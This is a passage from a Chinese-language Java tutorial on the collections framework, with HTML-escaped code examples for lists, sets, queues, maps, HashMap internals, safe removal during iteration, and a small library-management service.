List&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;&amp;gt;();          // 空列表
List&amp;lt;String&amp;gt; withInit = new ArrayList&amp;lt;&amp;gt;(List.of(&quot;a&quot;, &quot;b&quot;, &quot;c&quot;));
List&amp;lt;String&amp;gt; immutable = List.of(&quot;a&quot;, &quot;b&quot;, &quot;c&quot;); // JDK 9+，不可变

// 添加
list.add(&quot;apple&quot;);                  // 尾部添加
list.add(0, &quot;banana&quot;);              // 指定位置插入
list.addAll(List.of(&quot;x&quot;, &quot;y&quot;));     // 批量添加

// 访问
list.get(0);                        // &quot;banana&quot;
list.set(0, &quot;cherry&quot;);              // 修改索引 0
list.indexOf(&quot;apple&quot;);              // 查找位置
list.contains(&quot;apple&quot;);             // 是否包含
list.size();                        // 长度
list.isEmpty();                     // 是否为空

// 删除
list.remove(0);                     // 按索引删
list.remove(&quot;apple&quot;);               // 按内容删（第一个匹配）
list.removeAll(List.of(&quot;x&quot;, &quot;y&quot;));  // 批量删
list.clear();                       // 清空

// 遍历
for (String s : list) System.out.println(s);
list.forEach(s -&amp;gt; System.out.println(s));
for (int i = 0; i &amp;lt; list.size(); i++) {
    System.out.println(list.get(i));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;code&gt;List.of()&lt;/code&gt; 创建的列表是&lt;strong&gt;不可变&lt;/strong&gt;的，调用 &lt;code&gt;add&lt;/code&gt;/&lt;code&gt;remove&lt;/code&gt; 会抛 &lt;code&gt;UnsupportedOperationException&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List&amp;lt;String&amp;gt; fixed = List.of(&quot;a&quot;, &quot;b&quot;);
fixed.add(&quot;c&quot;);   // ❌ 抛异常

// 想要可变的副本
List&amp;lt;String&amp;gt; mutable = new ArrayList&amp;lt;&amp;gt;(fixed);
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h3&gt;LinkedList&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;双向链表&lt;/strong&gt;，头部/尾部插入删除 O(1)，随机访问 O(n)。&lt;strong&gt;日常几乎不用&lt;/strong&gt;，除非明确知道要频繁在头尾操作（这种情况 &lt;code&gt;ArrayDeque&lt;/code&gt; 通常更快）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List&amp;lt;String&amp;gt; linked = new LinkedList&amp;lt;&amp;gt;();
linked.addFirst(&quot;a&quot;);     // LinkedList 特有
linked.addLast(&quot;z&quot;);
linked.removeFirst();
linked.removeLast();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ArrayList vs LinkedList 选型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;ArrayList&lt;/th&gt;
&lt;th&gt;LinkedList&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;随机访问 &lt;code&gt;get(i)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;O(1) ✅&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;尾部添加 &lt;code&gt;add(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;均摊 O(1) ✅&lt;/td&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;头部添加 &lt;code&gt;add(0, x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;td&gt;O(1) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中间插入/删除&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;td&gt;O(n)（找位置） + O(1)（改指针）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内存占用&lt;/td&gt;
&lt;td&gt;紧凑 ✅&lt;/td&gt;
&lt;td&gt;每个节点额外两个指针&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：99% 场景选 &lt;code&gt;ArrayList&lt;/code&gt;。需要队列/栈行为选 &lt;code&gt;ArrayDeque&lt;/code&gt;，不选 &lt;code&gt;LinkedList&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Set：不重复&lt;/h2&gt;
&lt;h3&gt;HashSet&lt;/h3&gt;
&lt;p&gt;基于 &lt;code&gt;HashMap&lt;/code&gt; 实现，&lt;strong&gt;无序&lt;/strong&gt;，添加/删除/查找都是 O(1)。最常用的 Set。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.HashSet;
import java.util.Set;

Set&amp;lt;String&amp;gt; set = new HashSet&amp;lt;&amp;gt;();
set.add(&quot;apple&quot;);
set.add(&quot;banana&quot;);
set.add(&quot;apple&quot;);              // 已存在，不添加，add 返回 false

set.size();                    // 2
set.contains(&quot;apple&quot;);         // true
set.remove(&quot;apple&quot;);

// 遍历（顺序不保证）
for (String s : set) System.out.println(s);
set.forEach(System.out::println);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;去重的原理&lt;/strong&gt;：&lt;code&gt;HashSet&lt;/code&gt; 内部就是 &lt;code&gt;HashMap&amp;lt;E, Object&amp;gt;&lt;/code&gt;，元素作为 key。&lt;strong&gt;必须重写 &lt;code&gt;equals&lt;/code&gt; 和 &lt;code&gt;hashCode&lt;/code&gt;&lt;/strong&gt;，否则自定义类的两个&quot;内容相同&quot;的对象会被认为不同：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class User {
    private String name;
    // 不重写 equals/hashCode 的话
}

Set&amp;lt;User&amp;gt; users = new HashSet&amp;lt;&amp;gt;();
users.add(new User(&quot;Tom&quot;));
users.add(new User(&quot;Tom&quot;));   // 变成 2 个元素！

// 重写了 equals/hashCode 后
users.add(new User(&quot;Tom&quot;));
users.add(new User(&quot;Tom&quot;));   // 只有 1 个 ✅
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;LinkedHashSet&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;保持插入顺序&lt;/strong&gt;的 HashSet，性能略低但可预测：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set&amp;lt;String&amp;gt; set = new LinkedHashSet&amp;lt;&amp;gt;();
set.add(&quot;c&quot;);
set.add(&quot;a&quot;);
set.add(&quot;b&quot;);
// 遍历顺序：c, a, b（跟插入一致）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;TreeSet&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;按自然顺序或 Comparator 排序&lt;/strong&gt;，基于红黑树，操作 O(log n)：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set&amp;lt;Integer&amp;gt; nums = new TreeSet&amp;lt;&amp;gt;(List.of(5, 2, 8, 1, 9));
// 遍历顺序：1, 2, 5, 8, 9

Set&amp;lt;String&amp;gt; reverseOrder = new TreeSet&amp;lt;&amp;gt;(Comparator.reverseOrder());
reverseOrder.add(&quot;b&quot;);
reverseOrder.add(&quot;a&quot;);
reverseOrder.add(&quot;c&quot;);
// 遍历顺序：c, b, a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;TreeSet&lt;/code&gt; 的额外能力：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TreeSet&amp;lt;Integer&amp;gt; set = new TreeSet&amp;lt;&amp;gt;(List.of(1, 3, 5, 7, 9));
set.first();             // 1
set.last();              // 9
set.floor(6);            // 5，小于等于 6 的最大值
set.ceiling(6);          // 7，大于等于 6 的最小值
set.higher(5);           // 7，严格大于
set.lower(5);            // 3，严格小于
set.headSet(5);          // [1, 3]，小于 5 的子集
set.tailSet(5);          // [5, 7, 9]，大于等于 5 的子集
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Queue 与 Deque&lt;/h2&gt;
&lt;h3&gt;ArrayDeque&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;双端队列&lt;/strong&gt;，可以当队列（FIFO）也可以当栈（LIFO）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.ArrayDeque;
import java.util.Deque;

// 当队列用（FIFO）
Deque&amp;lt;String&amp;gt; queue = new ArrayDeque&amp;lt;&amp;gt;();
queue.offer(&quot;a&quot;);           // 尾部入队
queue.offer(&quot;b&quot;);
queue.poll();               // &quot;a&quot;，头部出队
queue.peek();               // &quot;b&quot;，查看头部但不删

// 当栈用（LIFO）
Deque&amp;lt;String&amp;gt; stack = new ArrayDeque&amp;lt;&amp;gt;();
stack.push(&quot;a&quot;);            // 头部入栈
stack.push(&quot;b&quot;);
stack.pop();                // &quot;b&quot;，头部出栈
stack.peek();               // &quot;a&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法对照&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;队列（尾部入，头部出）&lt;/th&gt;
&lt;th&gt;栈（头部入，头部出）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;入&lt;/td&gt;
&lt;td&gt;&lt;code&gt;offer(x)&lt;/code&gt; / &lt;code&gt;add(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;push(x)&lt;/code&gt; / &lt;code&gt;addFirst(x)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;出&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poll()&lt;/code&gt; / &lt;code&gt;remove()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pop()&lt;/code&gt; / &lt;code&gt;removeFirst()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;查&lt;/td&gt;
&lt;td&gt;&lt;code&gt;peek()&lt;/code&gt; / &lt;code&gt;element()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;peek()&lt;/code&gt; / &lt;code&gt;peekFirst()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;offer&lt;/code&gt; / &lt;code&gt;poll&lt;/code&gt; / &lt;code&gt;peek&lt;/code&gt; 遇失败返回 &lt;code&gt;null&lt;/code&gt; 或 &lt;code&gt;false&lt;/code&gt;；&lt;code&gt;add&lt;/code&gt; / &lt;code&gt;remove&lt;/code&gt; / &lt;code&gt;element&lt;/code&gt; 遇失败抛异常。&lt;strong&gt;推荐用前者&lt;/strong&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
官方推荐用 &lt;code&gt;Deque&lt;/code&gt; 替代古老的 &lt;code&gt;Stack&lt;/code&gt; 类，因为 &lt;code&gt;Stack&lt;/code&gt; 继承自 &lt;code&gt;Vector&lt;/code&gt;（每个方法都加锁），性能差且设计过时。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;PriorityQueue&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;优先队列&lt;/strong&gt;，出队顺序按优先级（默认自然顺序，可传 Comparator）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.PriorityQueue;

PriorityQueue&amp;lt;Integer&amp;gt; pq = new PriorityQueue&amp;lt;&amp;gt;();   // 小顶堆
pq.offer(5);
pq.offer(1);
pq.offer(3);
pq.poll();     // 1（最小）
pq.poll();     // 3
pq.poll();     // 5

// 大顶堆
PriorityQueue&amp;lt;Integer&amp;gt; maxHeap = new PriorityQueue&amp;lt;&amp;gt;(Comparator.reverseOrder());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内部是&lt;strong&gt;二叉堆&lt;/strong&gt;，插入和出队 O(log n)，&lt;code&gt;peek&lt;/code&gt; O(1)。常用于 Top-K 问题、任务调度、Dijkstra 算法。&lt;/p&gt;
&lt;h2&gt;Map：键值对&lt;/h2&gt;
&lt;h3&gt;HashMap&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;最常用&lt;/strong&gt;，基于哈希表，&lt;code&gt;get/put/remove&lt;/code&gt; 均摊 O(1)：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.HashMap;
import java.util.Map;

// 创建
Map&amp;lt;String, Integer&amp;gt; map = new HashMap&amp;lt;&amp;gt;();
Map&amp;lt;String, Integer&amp;gt; withInit = Map.of(&quot;a&quot;, 1, &quot;b&quot;, 2);   // 不可变，JDK 9+

// 增/改
map.put(&quot;apple&quot;, 3);
map.put(&quot;banana&quot;, 5);
map.put(&quot;apple&quot;, 10);              // 覆盖旧值

// 查
map.get(&quot;apple&quot;);                  // 10
map.getOrDefault(&quot;cherry&quot;, 0);     // 0（key 不存在时返回默认值）
map.containsKey(&quot;apple&quot;);          // true
map.containsValue(10);             // true
map.size();

// 删
map.remove(&quot;apple&quot;);
map.remove(&quot;apple&quot;, 10);           // 值匹配才删（更安全）
map.clear();

// 遍历
for (Map.Entry&amp;lt;String, Integer&amp;gt; e : map.entrySet()) {
    System.out.println(e.getKey() + &quot; = &quot; + e.getValue());
}

map.forEach((k, v) -&amp;gt; System.out.println(k + &quot; = &quot; + v));

// 只遍历 key 或 value
for (String k : map.keySet()) { ... }
for (Integer v : map.values()) { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常用便捷方法&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// putIfAbsent：不存在才放
map.putIfAbsent(&quot;cherry&quot;, 1);      // 如果 cherry 已存在则不改

// computeIfAbsent：不存在才计算并放（常用于分组）
Map&amp;lt;String, List&amp;lt;Integer&amp;gt;&amp;gt; grouped = new HashMap&amp;lt;&amp;gt;();
grouped.computeIfAbsent(&quot;odd&quot;, k -&amp;gt; new ArrayList&amp;lt;&amp;gt;()).add(1);
grouped.computeIfAbsent(&quot;odd&quot;, k -&amp;gt; new ArrayList&amp;lt;&amp;gt;()).add(3);
// {&quot;odd&quot;: [1, 3]}

// compute：无论如何都重新计算
map.compute(&quot;apple&quot;, (k, v) -&amp;gt; v == null ? 1 : v + 1);

// merge：合并值（常用于计数）
Map&amp;lt;String, Integer&amp;gt; count = new HashMap&amp;lt;&amp;gt;();
for (String word : words) {
    count.merge(word, 1, Integer::sum);   // 计数经典写法
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;LinkedHashMap&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;保持插入顺序&lt;/strong&gt;（默认）或&lt;strong&gt;访问顺序&lt;/strong&gt;（LRU 缓存的基础）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 插入顺序
Map&amp;lt;String, Integer&amp;gt; insertion = new LinkedHashMap&amp;lt;&amp;gt;();
insertion.put(&quot;c&quot;, 3);
insertion.put(&quot;a&quot;, 1);
insertion.put(&quot;b&quot;, 2);
// 遍历：c, a, b

// 访问顺序（true 参数）：每次访问会把 key 移到末尾
Map&amp;lt;String, Integer&amp;gt; access = new LinkedHashMap&amp;lt;&amp;gt;(16, 0.75f, true);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继承 &lt;code&gt;LinkedHashMap&lt;/code&gt; 重写 &lt;code&gt;removeEldestEntry&lt;/code&gt; 可以一行实现 LRU 缓存：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class LRUCache&amp;lt;K, V&amp;gt; extends LinkedHashMap&amp;lt;K, V&amp;gt; {
    private final int capacity;

    public LRUCache(int capacity) {
        super(capacity, 0.75f, true);
        this.capacity = capacity;
    }

    @Override
    protected boolean removeEldestEntry(Map.Entry&amp;lt;K, V&amp;gt; eldest) {
        return size() &amp;gt; capacity;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;TreeMap&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;按 key 排序&lt;/strong&gt;，基于红黑树，操作 O(log n)：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Map&amp;lt;String, Integer&amp;gt; sorted = new TreeMap&amp;lt;&amp;gt;();
sorted.put(&quot;banana&quot;, 2);
sorted.put(&quot;apple&quot;, 1);
sorted.put(&quot;cherry&quot;, 3);
// 遍历顺序：apple, banana, cherry（字典序）

// 范围查询
sorted.headMap(&quot;banana&quot;);       // {apple=1}
sorted.tailMap(&quot;banana&quot;);       // {banana=2, cherry=3}
sorted.subMap(&quot;a&quot;, &quot;c&quot;);        // 左闭右开
sorted.firstKey();
sorted.lastKey();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HashMap 原理简述&lt;/h2&gt;
&lt;p&gt;面试常问，日常写代码理解到&quot;够用&quot;的程度就行：&lt;/p&gt;
&lt;h3&gt;结构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HashMap 内部是一个 Node&amp;lt;K,V&amp;gt;[] table 数组（叫&quot;桶&quot;）
每个 Node 有 hash、key、value、next 四个字段

put(k, v) 流程：
1. 算 hash：h = k.hashCode() ^ (h &amp;gt;&amp;gt;&amp;gt; 16)   ← 扰动函数，减少冲突
2. 定位桶：index = (n - 1) &amp;amp; hash          ← n 是数组长度（2 的幂）
3. 桶为空 → 直接放
4. 桶非空 → 遍历链表/红黑树找同 key（equals）→ 覆盖或追加
5. 超过阈值 → 扩容 2 倍，重新分布元素
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;关键参数&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;参数&lt;/th&gt;
&lt;th&gt;默认值&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;初始容量&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;桶数组长度，永远是 2 的幂&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;负载因子&lt;/td&gt;
&lt;td&gt;0.75&lt;/td&gt;
&lt;td&gt;装到 75% 就扩容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;树化阈值&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;单桶链表长度 ≥ 8 且数组 ≥ 64 时转红黑树&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;退化阈值&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;红黑树节点 ≤ 6 时退回链表&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;为什么容量必须是 2 的幂&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;(n - 1) &amp;amp; hash&lt;/code&gt; 比 &lt;code&gt;hash % n&lt;/code&gt; 快得多，且能保证均匀分布。这也是为什么 &lt;code&gt;HashMap&lt;/code&gt; 的性能高度依赖 &lt;code&gt;hashCode&lt;/code&gt; 的质量——如果所有对象都返回同一个 hashCode，&lt;code&gt;HashMap&lt;/code&gt; 就退化成 O(n) 的链表（JDK 8 后是 O(log n) 的红黑树）。&lt;/p&gt;
&lt;h3&gt;为什么重写 equals 必须重写 hashCode&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;HashMap&lt;/code&gt; 先用 &lt;code&gt;hashCode&lt;/code&gt; 找桶，再用 &lt;code&gt;equals&lt;/code&gt; 比较。如果两个&quot;内容相同&quot;的对象 &lt;code&gt;hashCode&lt;/code&gt; 不同，会落到不同桶里，&lt;code&gt;get&lt;/code&gt; 就找不到之前 &lt;code&gt;put&lt;/code&gt; 的值。&lt;/p&gt;
&lt;h2&gt;迭代器与 ConcurrentModificationException&lt;/h2&gt;
&lt;h3&gt;Iterator&lt;/h3&gt;
&lt;p&gt;所有 &lt;code&gt;Collection&lt;/code&gt; 都实现了 &lt;code&gt;Iterable&lt;/code&gt;，可以拿到 &lt;code&gt;Iterator&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Iterator&amp;lt;String&amp;gt; it = list.iterator();
while (it.hasNext()) {
    String s = it.next();
    if (s.startsWith(&quot;a&quot;)) {
        it.remove();          // ✅ 唯一安全的遍历时删除方式
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;遍历时修改的陷阱&lt;/h3&gt;
&lt;p&gt;用增强 for 或 &lt;code&gt;forEach&lt;/code&gt; 遍历时&lt;strong&gt;直接调用集合的 &lt;code&gt;add/remove&lt;/code&gt;&lt;/strong&gt; 会抛 &lt;code&gt;ConcurrentModificationException&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(List.of(&quot;a&quot;, &quot;b&quot;, &quot;c&quot;));

// ❌ 抛异常
for (String s : list) {
    if (s.equals(&quot;a&quot;)) list.remove(s);
}

// ❌ 抛异常
list.forEach(s -&amp;gt; {
    if (s.equals(&quot;a&quot;)) list.remove(s);
});

// ✅ 用 Iterator.remove
Iterator&amp;lt;String&amp;gt; it = list.iterator();
while (it.hasNext()) {
    if (it.next().equals(&quot;a&quot;)) it.remove();
}

// ✅ 用 removeIf（JDK 8+，最简洁）
list.removeIf(s -&amp;gt; s.equals(&quot;a&quot;));

// ✅ 用 Stream 过滤生成新列表
List&amp;lt;String&amp;gt; filtered = list.stream().filter(s -&amp;gt; !s.equals(&quot;a&quot;)).toList();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;removeIf&lt;/code&gt; 是日常首选&lt;/strong&gt;，简洁且不会踩坑。&lt;/p&gt;
&lt;h2&gt;Collections 工具类&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;java.util.Collections&lt;/code&gt; 提供了一堆静态方法操作集合：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List&amp;lt;Integer&amp;gt; nums = new ArrayList&amp;lt;&amp;gt;(List.of(3, 1, 4, 1, 5, 9, 2, 6));

Collections.sort(nums);                        // 排序
Collections.sort(nums, Comparator.reverseOrder());
Collections.shuffle(nums);                     // 打乱
Collections.reverse(nums);                     // 反转
Collections.swap(nums, 0, 1);                  // 交换

Collections.max(nums);                         // 最大值
Collections.min(nums);                         // 最小值
Collections.frequency(nums, 1);                // 1 出现的次数

Collections.emptyList();                       // 空列表（不可变）
Collections.singletonList(&quot;only&quot;);             // 单元素列表
Collections.unmodifiableList(nums);            // 只读视图
Collections.synchronizedList(nums);            // 线程安全包装
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JDK 8+ 很多功能已经被 &lt;code&gt;List&lt;/code&gt; 自己的方法或 Stream 取代：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nums.sort(Comparator.naturalOrder());          // 等价于 Collections.sort
nums.sort(null);                               // 自然顺序
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;综合小例子：图书管理系统&lt;/h2&gt;
&lt;p&gt;用集合把前面阶段学的东西串起来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.example.library;

import java.util.*;
import java.util.stream.Collectors;

public class LibraryService {
    // ISBN -&amp;gt; Book 的主索引，O(1) 查找
    private final Map&amp;lt;String, Book&amp;gt; booksByIsbn = new HashMap&amp;lt;&amp;gt;();
    // 分类 -&amp;gt; ISBN 集合，按分类浏览
    private final Map&amp;lt;String, Set&amp;lt;String&amp;gt;&amp;gt; isbnByCategory = new LinkedHashMap&amp;lt;&amp;gt;();
    // 借阅者 -&amp;gt; 已借 ISBN 列表
    private final Map&amp;lt;String, List&amp;lt;String&amp;gt;&amp;gt; borrowedBy = new HashMap&amp;lt;&amp;gt;();

    public void addBook(Book book, String category) {
        booksByIsbn.put(book.getIsbn(), book);
        isbnByCategory
            .computeIfAbsent(category, k -&amp;gt; new LinkedHashSet&amp;lt;&amp;gt;())
            .add(book.getIsbn());
    }

    public Optional&amp;lt;Book&amp;gt; findByIsbn(String isbn) {
        return Optional.ofNullable(booksByIsbn.get(isbn));
    }

    public List&amp;lt;Book&amp;gt; listByCategory(String category) {
        Set&amp;lt;String&amp;gt; isbns = isbnByCategory.getOrDefault(category, Set.of());
        return isbns.stream()
            .map(booksByIsbn::get)
            .filter(Objects::nonNull)
            .toList();
    }

    public boolean borrow(String isbn, String user) {
        Book book = booksByIsbn.get(isbn);
        if (book == null) return false;

        try {
            book.borrow();
        } catch (IllegalStateException e) {
            return false;   // 已被借出
        }

        borrowedBy.computeIfAbsent(user, k -&amp;gt; new ArrayList&amp;lt;&amp;gt;()).add(isbn);
        return true;
    }

    public boolean returnBook(String isbn, String user) {
        Book book = booksByIsbn.get(isbn);
        if (book == null) return false;

        book.returnBook();
        List&amp;lt;String&amp;gt; userBooks = borrowedBy.get(user);
        if (userBooks != null) userBooks.remove(isbn);
        return true;
    }

    public Map&amp;lt;String, Long&amp;gt; countByCategory() {
        return isbnByCategory.entrySet().stream()
            .collect(Collectors.toMap(
                Map.Entry::getKey,
                e -&amp;gt; (long) e.getValue().size()
            ));
    }

    public List&amp;lt;Book&amp;gt; search(String keyword) {
        String lower = keyword.toLowerCase();
        return booksByIsbn.values().stream()
            .filter(b -&amp;gt; b.getTitle().toLowerCase().contains(lower)
                      || b.getAuthor().toLowerCase().contains(lower))
            .toList();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个服务用了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HashMap&lt;/code&gt; 做主索引（O(1) 查找）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LinkedHashMap&lt;/code&gt; 保持分类插入顺序&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LinkedHashSet&lt;/code&gt; 每个分类下的书去重&lt;/li&gt;
&lt;li&gt;&lt;code&gt;computeIfAbsent&lt;/code&gt; 优雅处理&quot;key 不存在时创建集合&quot;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Optional&lt;/code&gt; 表示可能不存在的结果&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Stream&lt;/code&gt; 做过滤、映射、聚合（阶段十详细讲）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// List
List&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;&amp;gt;();
list.add(&quot;a&quot;); list.add(0, &quot;b&quot;);
list.get(0); list.set(0, &quot;c&quot;);
list.remove(0); list.remove(&quot;a&quot;); list.removeIf(s -&amp;gt; s.isEmpty());
list.size(); list.contains(&quot;a&quot;); list.indexOf(&quot;a&quot;);
list.forEach(System.out::println);

// 不可变
List&amp;lt;String&amp;gt; immutable = List.of(&quot;a&quot;, &quot;b&quot;, &quot;c&quot;);

// Set
Set&amp;lt;String&amp;gt; set = new HashSet&amp;lt;&amp;gt;();
set.add(&quot;a&quot;); set.remove(&quot;a&quot;); set.contains(&quot;a&quot;);

// Map
Map&amp;lt;String, Integer&amp;gt; map = new HashMap&amp;lt;&amp;gt;();
map.put(&quot;a&quot;, 1);
map.get(&quot;a&quot;); map.getOrDefault(&quot;b&quot;, 0);
map.containsKey(&quot;a&quot;); map.remove(&quot;a&quot;);
map.computeIfAbsent(&quot;k&quot;, k -&amp;gt; new ArrayList&amp;lt;&amp;gt;());
map.merge(&quot;k&quot;, 1, Integer::sum);
map.forEach((k, v) -&amp;gt; ...);

// Queue / Stack（用 ArrayDeque）
Deque&amp;lt;String&amp;gt; q = new ArrayDeque&amp;lt;&amp;gt;();
q.offer(&quot;a&quot;); q.poll(); q.peek();      // 队列
q.push(&quot;a&quot;); q.pop();                  // 栈

// 排序
Collections.sort(list);
list.sort(Comparator.comparing(User::getName));

// 遍历时删除：只能用 Iterator.remove 或 removeIf
list.removeIf(s -&amp;gt; s.startsWith(&quot;a&quot;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;默认选 &lt;code&gt;ArrayList&lt;/code&gt; / &lt;code&gt;HashSet&lt;/code&gt; / &lt;code&gt;HashMap&lt;/code&gt;，需要顺序选 &lt;code&gt;Linked*&lt;/code&gt;，需要排序选 &lt;code&gt;Tree*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;队列和栈都用 &lt;code&gt;ArrayDeque&lt;/code&gt;，别用 &lt;code&gt;Stack&lt;/code&gt; 和 &lt;code&gt;LinkedList&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;List.of()&lt;/code&gt; / &lt;code&gt;Map.of()&lt;/code&gt; 创建的是&lt;strong&gt;不可变&lt;/strong&gt;集合&lt;/li&gt;
&lt;li&gt;自定义类放进 &lt;code&gt;HashSet&lt;/code&gt; / &lt;code&gt;HashMap&lt;/code&gt; &lt;strong&gt;必须重写 &lt;code&gt;equals&lt;/code&gt; 和 &lt;code&gt;hashCode&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;遍历中删除只能用 &lt;code&gt;Iterator.remove&lt;/code&gt; 或 &lt;code&gt;removeIf&lt;/code&gt;，直接 &lt;code&gt;list.remove&lt;/code&gt; 抛 &lt;code&gt;ConcurrentModificationException&lt;/code&gt;&lt;/li&gt;
